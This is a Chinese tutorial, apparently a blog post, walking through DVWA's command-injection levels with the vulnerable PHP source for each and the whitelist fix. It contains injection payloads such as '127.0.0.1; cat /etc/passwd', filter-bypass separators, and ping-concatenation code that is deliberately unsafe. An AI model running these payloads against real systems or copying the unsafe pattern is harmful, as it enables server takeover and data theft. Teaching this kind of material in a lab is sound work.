前言

上一篇我们详细拆解了 Open HTTP Redirect 开放重定向漏洞的校验缺陷与各类绕过技巧,相信大家对"URL 参数未校验导致的信任滥用"攻击思路已经有了清晰的认识。今天我们继续 Web 漏洞系列,来聊一个危害等级直接拉满、入门 Web 安全必须掌握的经典注入类漏洞——Command Injection(命令注入)

如果说 SQL 注入是操作数据库,XSS 是操作用户浏览器,那命令注入就是直接操作服务器的操作系统。攻击者只要找到一个命令注入点,就能在服务器上执行任意系统命令,读文件、写 Shell、提权、内网横向移动……相当于直接拿到了服务器的控制权,属于 RCE(远程代码执行) 级别的高危漏洞。

命令注入的核心原理非常简单,本质就是用户可控的输入被直接拼接到系统命令中执行,和 SQL 注入是同一个路子——凡是"字符串拼接 + 解释执行"的地方,都可能出现注入漏洞。


1. Command Injection 核心理论基础

1.1 漏洞本质与定义

命令注入漏洞(Command Injection),又称 OS 命令注入,对应的标准漏洞编号为 CWE-78: OS Command Injection

漏洞的本质一句话就能说清:Web 应用程序将用户可控的输入直接拼接到系统命令中执行,没有做任何过滤或转义,导致攻击者可以注入额外的命令,在服务器上执行任意系统指令。

用最直白的话讲:后端代码要执行一条系统命令,比如 ping 目标IP,其中"目标IP"是用户传进来的。结果用户传的不是 IP,而是 127.0.0.1; cat /etc/passwd,后端直接拼进去变成了 ping 127.0.0.1; cat /etc/passwd,两条命令一起执行,服务器的敏感文件就被读出来了。

典型的漏洞代码长这样(PHP 为例):

$ip = $_GET['ip'];
system("ping " . $ip);  // 用户输入直接拼进命令里

用户传什么,命令里就有什么,完全不设防。


1.2 漏洞成立的三大必要条件

不是所有带参数的地方都有命令注入,必须同时满足以下三个条件:

条件一:用户可控的输入被拼接到系统命令中

  • 后端调用了执行系统命令的函数(PHP 的 system()exec()shell_exec(),Java 的 Runtime.getRuntime().exec(),Python 的 os.system() 等)
  • 命令的某一部分(参数、选项等)完全由用户输入控制

条件二:没有对用户输入做严格的过滤和转义

  • 完全没过滤(Low 级别)
  • 过滤了但能被绕过(Medium/High 级别)
  • 用了黑名单、关键字替换等不靠谱的过滤方式

条件三:命令执行函数的输出能被回显或利用

  • 有回显:命令执行结果直接显示在页面上(最理想情况)
  • 无回显:可以通过 DNS 外带、时间盲注等方式判断命令是否执行成功

1.3 完整攻击链路

命令注入的攻击链路非常直接,分四步走:

第一步:寻找命令注入点
在目标网站上找那些"看起来会调用系统功能"的地方,比如:

  • ping 功能、traceroute 功能
  • 文件解压、格式转换功能
  • DNS 查询、WHOIS 查询功能
  • 系统信息展示、日志查看功能

第二步:判断是否存在注入
先传正常参数,看功能是否正常。然后尝试在参数后面加分号、管道符等命令分隔符,看是否能执行额外命令。

比如正常输入 127.0.0.1 能 ping 通,输入 127.0.0.1; whoami 后,如果页面返回了当前用户名,说明存在命令注入。

第三步:信息收集与权限判断
确认有注入后,先摸清楚服务器的基本情况:

  • 什么操作系统(Windows/Linux)
  • 当前用户是谁、有什么权限
  • 网站根目录在哪、能不能写文件
  • 有哪些有用的系统命令可以用

第四步:进一步利用
根据权限和环境,逐步扩大战果:

  • 读敏感文件(/etc/passwd、配置文件、源码等)
  • 写 WebShell 拿到持久化控制
  • 提权拿到 root/管理员权限
  • 内网横向移动,渗透整个内网

1.4 命令注入与代码注入的核心区别

很多人容易把命令注入和代码注入搞混,其实两者不是一回事:

类型 执行层面 典型函数 危害范围
命令注入 操作系统层面 system()exec()os.system() 整个服务器系统
代码注入 应用程序语言层面 eval()assert()exec()(Python) 应用程序权限范围内

简单说:

  • 命令注入 = 直接调用系统 Shell 执行命令
  • 代码注入 = 在当前编程语言的解释器里执行代码

命令注入的危害通常更大,因为它直接操作的是操作系统,不受应用层权限的限制(当然也看运行用户是谁)。


1.5 常见攻击场景与业务危害

命令注入属于高危甚至严重级别的漏洞,危害极大。

主要攻击场景:

  1. 网络工具类功能(最常见)
    ping、traceroute、nslookup、whois 等网络诊断功能,几乎都是直接调用系统命令实现的,是命令注入的重灾区。

  2. 文件处理类功能
    文件压缩/解压、格式转换、图片处理、PDF 生成等功能,很多是调用 ImageMagick、ffmpeg 等外部命令实现的,参数过滤不严就会被注入。

  3. 系统管理类功能
    一些后台管理功能会提供"查看系统日志"、“重启服务”、"备份数据"等功能,本质都是执行系统命令,一旦被越权访问就是灾难。

  4. 第三方组件/插件
    很多 CMS、框架、插件自带的功能里可能藏着命令注入,不需要登录就能打,危害极大。

业务危害:

  • 直接 RCE:攻击者可以在服务器上执行任意命令,完全控制服务器
  • 数据泄露:读取数据库配置、用户数据、源码等敏感信息
  • 网页篡改:修改网站文件,挂黑页、挂马
  • 内网渗透:以服务器为跳板,横向攻击内网其他机器
  • 勒索挖矿:植入勒索病毒、挖矿木马,造成直接经济损失

1.6 漏洞在安全榜单中的定位

  • CWE 编号:CWE-78 — OS Command Injection(操作系统命令注入的标准定义)
  • OWASP Top 10:属于 A03:2021 - Injection(注入类漏洞)的一种,和 SQL 注入、XSS 同属注入大家族,常年位居 OWASP Top 10 前列
  • CTF 定位:Web 方向的核心考点,入门必学,几乎每场 CTF 都有命令注入的题,从简单的直接注入到复杂的各种绕过,花样百出
  • 漏洞评级:一般直接评 高危,如果无需登录且能直接 getshell,直接 严重 级别
  • 实战地位:在真实渗透测试中,命令注入是"含金量"极高的漏洞,找到一个往往就能直接拿下服务器,属于 P1/P0 级别的高危漏洞

一句话总结:命令注入是注入类漏洞里最"爽"的一种——找到就是 RCE,直接拿到服务器权限,是 Web 安全入门必须吃透的核心漏洞。


2. DVWA Command Injection(Low)

2.1 页面黑盒探测

先不看源码,我们以渗透测试者的视角,先摸清楚这个页面的功能。

进入 DVWA 的 Command Injection 模块,看到一个输入框,提示"Enter an IP address to ping"(输入一个 IP 地址来 ping),旁边有个 Submit 按钮。

看起来是个 ping 功能,我们先正常用一下,输入 127.0.0.1,点提交。

正常返回结果:
在这里插入图片描述

注:Windows 环境下 ping 输出的中文提示可能会显示菱形问号乱码,这是 GBK 和 UTF-8 编码冲突导致的,不影响漏洞测试,数字和英文输出都是正常的。

页面直接把 ping 命令的输出结果显示出来了,说明后端确实调用了系统的 ping 命令,而且有回显。

黑盒初步结论:

  • 功能:调用系统 ping 命令测试网络连通性
  • 输入参数:IP 地址,用户完全可控
  • 输出:命令执行结果直接回显在页面上

那问题来了:如果我在 IP 后面加点别的东西,比如分号加另一条命令,会怎么样?这就是命令注入的核心测试思路。


2.2 黑盒漏洞利用实操

2.2.1 分号分隔符注入(最经典)

命令注入最经典的分隔符就是分号 ;,在 Linux Shell 里,分号用来分隔多条命令,按顺序执行。

测试思路: 在正常 IP 后面加分号,再加一条我们想执行的命令,看能不能一起执行。

构造 Payload:

127.0.0.1 & whoami

把这个输入到框里提交。

在这里插入图片描述

结果: 页面先输出了 ping 的结果,然后紧接着输出了当前用户名(Linux 下通常是 www-data,Windows 下是系统用户名)。

说明 whoami 命令被成功执行了!命令注入漏洞实锤。


2.2.2 常用分隔符与 Payload 汇总

除了分号,还有很多种命令分隔符都可以用,不同场景用不同的:

分隔符 作用 示例 Payload 适用场景
; 顺序执行多条命令 127.0.0.1; whoami Linux 专用,Windows CMD 不识别
&& 前置命令执行成功,才执行后置命令 127.0.0.1 && dir Linux / Windows 通用
|| 前置命令执行失败,才执行后置命令 127.0.0.1|| ver Linux / Windows 通用
| 管道符,将前命令输出传给后命令 127.0.0.1 | ipconfig Linux / Windows 通用
& 并行同时执行两条命令 127.0.0.1 & dir Windows 首选,Linux 也兼容
%0a(URL换行符) 换行分割两条独立命令,绕过字符过滤 127.0.0.1%0adir 存在符号黑名单过滤的绕过场景

实战常用 Payload 清单:

# 查看当前用户
127.0.0.1; whoami

# 查看操作系统信息
127.0.0.1; uname -a          # Linux
127.0.0.1 & ver              # Windows

# 查看当前目录
127.0.0.1; pwd               # Linux
127.0.0.1 & cd               # Windows

# 列出当前目录文件
127.0.0.1; ls -la            # Linux
127.0.0.1 & dir              # Windows

# 读取敏感文件
127.0.0.1; cat /etc/passwd   # Linux
127.0.0.1 & type C:\Windows\System32\drivers\etc\hosts  # Windows

# 查看网络配置
127.0.0.1; ifconfig          # Linux
127.0.0.1 & ipconfig         # Windows

Low 级别没有任何过滤,这些 Payload 全都可以直接用。


2.3 源码审计(无过滤直接拼接)

黑盒测完了,我们来看看源码,确认一下是不是真的什么防护都没有。

Low 级别的源码路径:/vulnerabilities/exec/source/low.php

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

源码逐行分析:

  1. 获取用户输入(第 5 行)

    $target = $_REQUEST[ 'ip' ];
    

    直接接收前端传入的 ip 参数,没有任何过滤、转义、校验,用户输入的所有特殊字符(; | & || && 等)全部原样保留。

  2. 判断操作系统并拼接命令(第 8-14 行)

    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        $cmd = shell_exec( 'ping  ' . $target );  // Windows
    } else {
        $cmd = shell_exec( 'ping  -c 4 ' . $target );  // Linux
    }
    
    • php_uname('s') 判断当前是 Windows 还是 Linux 系统
    • 根据系统不同,拼接不同的 ping 命令参数
    • 核心漏洞点:用户输入 $target 直接拼接到命令字符串里,没有任何处理
    • 正常输入 127.0.0.1 → 执行 ping -c 4 127.0.0.1
    • 注入输入 127.0.0.1; whoami → 执行 ping -c 4 127.0.0.1; whoami
  3. 执行结果回显(第 17 行)

    $html .= "<pre>{$cmd}</pre>";
    

    命令执行结果直接输出到页面,属于有回显命令注入,可以直接看到命令执行的输出。

一句话总结 Low 级别: 完全没有任何安全防护,用户输入直接拼进系统命令执行,属于"开发者根本没想过有人会在 IP 里塞命令"的典型反面教材,是最基础的命令注入形态。


3. DVWA Command Injection(Medium)

3.1 页面黑盒探测

切换靶场难度为Medium,进入Ping功能页面,页面结构与Low一致,仅IP输入框与提交按钮。

  1. 输入正常IP 127.0.0.1 提交,ping正常返回数据,基础功能无异常;
  2. 复用Low核心Payload 127.0.0.1; dir 测试,页面仅展示ping输出,无dir目录信息,判定分号;被后端过滤;
  3. 尝试双与号Payload 127.0.0.1 && dir,页面提示找不到主机,&&被整体清空,注入失效。

黑盒初步结论:后端启用黑名单过滤,拦截了;&&两类常用分隔符,但未对全部命令符号做处理,存在绕过空间。


3.2 黑盒漏洞利用实操

3.2.1 单个&分隔符绕过(Windows最优)

测试Payload

127.0.0.1 & dir

提交后页面同时输出ping反馈、当前目录文件列表,注入成功。
原理:黑名单仅清除&&;,单个&不在过滤数组内,Windows CMD可识别&分割多条命令。


3.2.2 全环境可用Payload汇总(Windows靶场专用)
分隔符 Payload示例 执行效果
& 127.0.0.1 & dir 并行执行ping、列出目录
| 127.0.0.1 | ver 管道符,输出系统版本
|| 127.0.0.1 || ipconfig ping失败后执行查看网卡信息

3.3 源码审计

完整Medium源码:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];

	// 黑名单数组:过滤 && 和 ;
	$substitutions = array(
		'&&' => '',
		';'  => '',
	);

	// 单次替换,删除匹配到的 &&、;
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
        // 新增编码转换,解决Windows ping中文乱码
        $cmd = iconv("GBK", "UTF-8//IGNORE", $cmd);
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}
?>

漏洞核心拆解

  1. 过滤逻辑缺陷:仅删除&&;&|||完全放行;str_replace仅单次匹配,无法覆盖全部命令分隔符;
  2. 高危拼接执行:过滤后的变量直接拼接进shell_exec(),无IP格式白名单校验,可控符号可带入系统命令;
  3. 编码修复说明:Windows分支添加iconv编码转换,解决CMD中文GBK与网页UTF-8冲突的菱形问号乱码。

4. DVWA Command Injection(High)

4.1 页面黑盒探测

  1. 正常输入 127.0.0.1 提交,ping 正常返回数据,基础功能正常。
  2. 测试 Medium 可用Payload 127.0.0.1 & dir:仅输出ping结果,& 被过滤。
  3. 测试 127.0.0.1 || ver127.0.0.1; dir:全部失效,||; 被清空。
  4. 测试带空格管道 127.0.0.1 | dir:无第二条命令输出,| (管道+空格)被过滤。
  5. 测试无空格管道 127.0.0.1|dir:同时输出ping与目录列表,注入成功。
  6. 测试URL换行 127.0.0.1%0aver:成功执行ver查看系统版本,可绕过。

黑盒结论:后端扩充黑名单拦截绝大多数分隔符,但过滤存在两处漏洞:只拦截带空格的管道| 、未拦截URL换行符%0a,存在绕过手段。


4.2 黑盒漏洞利用实操

无空格管道符绕过

Payload:

127.0.0.1|dir

利用原理:黑名单匹配规则是| (管道后带空格),输入|dir无空格,无法命中过滤规则,管道符完整保留,CMD识别管道执行多条命令。

在这里插入图片描述


4.3 源码审计

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // 获取输入,trim去除首尾空格
    $target = trim($_REQUEST[ 'ip' ]);

    // 扩容黑名单,过滤大量命令特殊符号
    $substitutions = array(
        '||' => '',
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
    );

    // 单次替换删除黑名单内所有匹配字符
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // 判断系统执行ping命令,直接拼接过滤后的输入
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
        // Windows GBK编码转UTF-8,修复中文乱码
        $cmd = iconv("GBK", "UTF-8//IGNORE", $cmd);
    }
    else {
        // Linux
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // 执行结果回显页面
    echo "<pre>{$cmd}</pre>";
}
?>

逐行漏洞拆解

  1. 输入预处理 trim()
    清除输入首尾空格,防止用首尾空格构造过滤绕过。
  2. 核心黑名单过滤缺陷
$substitutions = array(
    '||' => '',
    '&'  => '',
    ';'  => '',
    '| ' => '', // 仅过滤【管道+空格】,单独|不处理
    '-'  => '',
    '$'  => '',
    '('  => '',
    ')'  => '',
    '`'  => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
  • 只匹配| (管道后带空格),连续无空格|不会被删除;
  • 未收录换行符\n(URL编码%0a),无法拦截换行分割命令;
  • str_replace仅做简单字符替换,无循环过滤、无IP格式白名单校验。
  1. 高危命令拼接
    过滤后的$target直接拼接进shell_exec(),用户可控特殊字符仍能带入系统命令执行。
  2. 编码转换代码
    Windows分支增加iconv("GBK", "UTF-8//IGNORE"),将CMD输出的GBK中文转为UTF-8,解决页面乱码方块。
  3. 输出修改:使用echo直接打印结果,不再使用$html拼接,和Low/Medium源码输出逻辑区分。

High级别总结
相比Medium大幅扩充黑名单覆盖更多危险符号,但本质仍是黑名单防御,无法穷尽所有命令分隔手段,依靠无空格管道、URL换行符即可绕过,依然存在完整命令注入漏洞。


5. DVWA Command Injection(Impossible)

5.1 源码审计

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // 1. CSRF令牌校验,防止跨站伪造请求
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取用户输入
    $target = $_REQUEST[ 'ip' ];
    // 去除转义反斜杠
    $target = stripslashes( $target );

    // 用点号.把输入拆分成四段数组
    $octet = explode( ".", $target );

    // 核心白名单校验:必须是4段,且每一段都只能是纯数字
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // 校验通过后,手动用四段数字重新拼接IP,完全丢弃用户输入里的所有特殊字符
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // 判断操作系统执行ping命令
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
            // Windows GBK编码转UTF-8,修复中文乱码
            $cmd = iconv("GBK", "UTF-8//IGNORE", $cmd);
        }
        else {
            // Linux/Unix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // 回显执行结果
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // 格式不合法 → 直接报错,不执行任何命令
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// 生成新的CSRF令牌
generateSessionToken();
?>

分层源码安全分析

  1. CSRF防护层
    checkToken() 校验会话绑定的随机token:
  • 外部不能直接构造POST发包,必须从当前页面获取合法user_token
  • 拦截跨站伪造请求,阻断脱离页面的自动化注入发包。
  1. 转义符清理 stripslashes($target)
    清除输入中所有转义反斜杠 \,杜绝通过转义字符变形特殊符号绕过校验。

  2. 核心白名单校验(根治命令注入的关键)

$octet = explode(".", $target);
if( is_numeric四段全部通过 && 数组长度等于4 )
  • 逻辑:输入必须严格是标准IPv4格式,拆分为4段,每一段只能是数字;
  • 注入阻断逻辑:只要输入包含 ; & \| \|\| %0a 任意符号,拆分后某一段会包含非数字字符,is_numeric() 返回false,直接进入else分支。
  1. 纯净IP重拼接,彻底销毁用户可控恶意字符
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

不使用原始用户输入,仅提取四段数字重新拼接IP,原始输入里所有特殊符号全部被丢弃,没有任何恶意字符能进入shell_exec

  1. 命令执行与编码处理
  • 只有白名单校验通过,才会调用shell_exec()执行ping;校验失败完全不调用系统命令;
  • Windows分支增加iconv("GBK", "UTF-8//IGNORE"),将CMD的GBK输出转为网页UTF-8编码,消除中文乱码方块,不影响安全逻辑。
  1. 会话令牌刷新
    页面底部generateSessionToken()每次提交后刷新token,防止令牌复用。

5.2 源码安全总结

  1. 抛弃Low/Medium/High的黑名单思路,采用输入格式白名单,从根源阻断所有命令分隔符;
  2. 多层防护叠加:CSRF校验 + 转义符清理 + IP格式强校验;
  3. 不存在任何可绕过方式,无命令注入漏洞,是DVWA标准安全写法。

免责声明

  1. 本文所有内容仅用于网络安全技术研究与教学演示,所有测试均在本地授权搭建的 DVWA 靶场环境中进行,旨在帮助读者理解漏洞原理与防御机制。
  2. 请勿将本文涉及的技术与方法用于任何未经授权的真实系统测试。任何利用本文内容进行的非法攻击行为,均与作者无关,由使用者自行承担相应法律责任。
  3. 网络安全学习请严格遵守《中华人民共和国网络安全法》及相关法律法规,仅在获得明确书面授权的前提下开展安全测试。
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐